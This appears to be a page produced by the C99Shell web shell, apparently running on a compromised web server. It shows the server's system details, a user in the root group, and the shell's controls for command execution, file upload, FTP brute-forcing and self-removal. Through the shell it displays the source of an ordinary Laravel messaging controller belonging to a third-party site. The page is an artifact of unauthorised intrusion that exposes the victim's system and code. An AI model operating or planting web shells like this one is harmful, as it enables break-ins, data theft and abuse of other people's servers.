!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.4 GB of 117.98 GB (24.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MessengerController.php (4.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Events\ChatMessage;
use 
App\Models\Messenger;
use 
App\Models\MessengerUser;
use 
App\Models\User;
use 
Illuminate\Http\Request;

class 
MessengerController extends Controller
{
    public function 
index()
    {
        
$users $this->fetchUserList();

        return 
view('frontend.message'compact('users'));
    }

    protected function 
fetchUserList()
    {
        
$auth_id auth()->id();

        return 
MessengerUser::whereHas('messages')->with('from:id,name,username,image''to:id,name,username,image')
            ->
where('to_id'$auth_id)
            ->
orWhere('from_id'$auth_id)
            ->
withCount(['messages as latest_message_time' => function ($query) {
                
$query->select(\DB::raw('max(created_at)'));
            }])
            ->
orderByDesc('latest_message_time')
            ->
get()
            ->
map(function ($user) {
                
$user->human_time \Carbon\Carbon::parse($user->latest_message_time)->diffForHumans(nullnulltrue);
                
$user->my_user_id auth()->id();
                
$user->recipient_user_id $user->from_id == auth()->id() ? $user->to_id $user->from_id;

                return 
$user;
            });
    }

    public function 
fetchMessages($username)
    {
        
$user User::whereUsername($username)->firstOrFail();

        if (
$user->id != auth()->id()) {
            
Messenger::where(function ($query) use ($user) {
                
$query->where(function ($q) use ($user) {
                    
$q->where('from_id'auth()->id());
                    
$q->where('to_id'$user->id);
                })
                    ->
orWhere(function ($q) use ($user) {
                        
$q->where('to_id'auth()->id());
                        
$q->where('from_id'$user->id);
                    });
            })
                ->
update(['read' => 1]);
        }

        return 
Messenger::where(function ($query) use ($user) {
            
$query->where(function ($q) use ($user) {
                
$q->where('from_id'auth()->id());
                
$q->where('to_id'$user->id);
            })
                ->
orWhere(function ($q) use ($user) {
                    
$q->where('to_id'auth()->id());
                    
$q->where('from_id'$user->id);
                });
        })
            ->
get();
    }

    public function 
sendMessage(Request $request)
    {
        try {
            
$request->validate(['message' => 'required']);

            
$message Messenger::create([
                
'from_id' => auth()->id(),
                
'to_id' => $request->to,
                
'body' => $request->message ?? 'No message',
                
'messenger_user_id' => $request->chat_id,
                
'read' => 0,
            ]);

            
broadcast(new ChatMessage($message))->toOthers();

            return 
$message;
        } catch (
\Throwable $th) {
            return 
response()->json(['success' => false'message' => $th->getMessage()]);
        }
    }

    public function 
syncUserList()
    {
        return 
$this->fetchUserList();
    }

    public function 
sendMessageWebsite(Request $request)
    {
        try {
            if (! 
$request->body || ! $request->to_id || ! $request->ad_id) {
                
flashError('Please enter message');

                return 
back();
            }

            
$messenger_user MessengerUser::where(function ($query) use ($request) {
                
$query->where(function ($q) use ($request) {
                    
$q->where('from_id'auth()->id());
                    
$q->where('to_id'$request->to_id);
                })
                    ->
orWhere(function ($q) use ($request) {
                        
$q->where('to_id'auth()->id());
                        
$q->where('from_id'$request->to_id);
                    });
            })->
first();

            if (! 
$messenger_user) {
                
$messenger_user MessengerUser::create([
                    
'from_id' => auth()->id(),
                    
'to_id' => $request->to_id,
                    
'ad_id' => $request->ad_id ?? null,
                ]);
            }

            
Messenger::create([
                
'from_id' => auth()->id(),
                
'to_id' => $request->to_id,
                
'body' => $request->body ?? 'No message',
                
'messenger_user_id' => $messenger_user->id,
            ]);

            
flashSuccess('Message sent successfully');

            return 
back();
        } catch (
\Throwable $th) {
            
flashError('An error occurred:'.$th->getMessage());

            return 
back();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0185 ]--